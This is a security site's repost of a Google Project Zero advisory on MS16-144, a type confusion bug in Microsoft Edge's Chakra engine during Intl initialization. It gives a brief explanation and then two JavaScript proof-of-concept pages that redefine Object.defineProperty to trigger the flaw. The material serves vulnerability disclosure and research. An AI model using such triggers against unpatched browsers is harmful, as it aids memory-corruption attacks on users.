首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge - Internationalization Initialization Type Confusion (MS16-144)
来源:Google Security Research 作者:Google 发布时间:2016-12-22  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=972
 
In Chakra, Internationlization is initialized the first time the Intl object is used, by executing the script in Intl.js (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/InJavascript/Intl.js). This code attempts to prevent Object methods from being redefined by user scripts, but there are a few stray calls to Object.defineProperty in initialization. If Object.defineProperty is redefined before Intl is initialized, a user-define method can be called during initialization. If this method defines a Collator (or DateTimeFormat or NumberFormat) getter and setter on the Intl object, it can intercept what it is set to, and set it to a different value instead. This will then cause type confusion in IntlEngineInterfaceExtensionObject::deletePrototypePropertyHelper (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/IntlEngineInterfaceExtensionObject.cpp), as this function assumes the properties of a Collator are objects, when they are not guaranteed to be. A minimal PoC is as follows, and a full PoC is attached.
 
 
var d = Object.defineProperty;
 
var noobj = {
    get: function () {
        return 0x1234567 >> 1;
    },
    set: function () {
    }
};
 
function f(){
    var i = Intl;
    Intl  = {}; // this somehow prevents an exception that prevents laoding
    d(i, "Collator", noobj);
}
 
 
Object.defineProperty = f;
 
var q = new Intl.NumberFormat(["en"]);
 
</script></body></html>
-->
 
<html><body><script>
 
var d = Object.defineProperty;
 
var noobj = {
    get: function () {
    print("in get no");
        return 0x1234567 >> 1;
    },
    set: function () {
        print("in set no");
    }
};
 
function f(...a){
    var i = Intl;
    Intl  = {};
    d(i, "Collator", noobj);
    
}
 
var pattern = {
    get: function () {
        return f;
    },
    set: function () {
    }
};
 
Object.defineProperty(Object, "defineProperty", pattern);
 
var q = new Intl.NumberFormat(["en"]);
 
</script></body></html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Edge - SIMD.toLocale
·NETGEAR WNR2000v5 - Remote Cod
·Microsoft Internet Explorer 11
·at(1) Persistence Module
·Google Chrome < 31.0.1650.48 -
·IBM AIX 6.1/7.1/7.2 - 'Bellmai
·ntop-ng 2.5.160805 - Username
·macOS 10.12.1 Kernel - Writabl
·RedStar 3.0 Server - 'BEAM & R
·Vesta Control Panel 0.9.8-16 -
·Naenara Browser 3.5 (RedStar 3
·macOS 10.12 - Double vm_deallo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved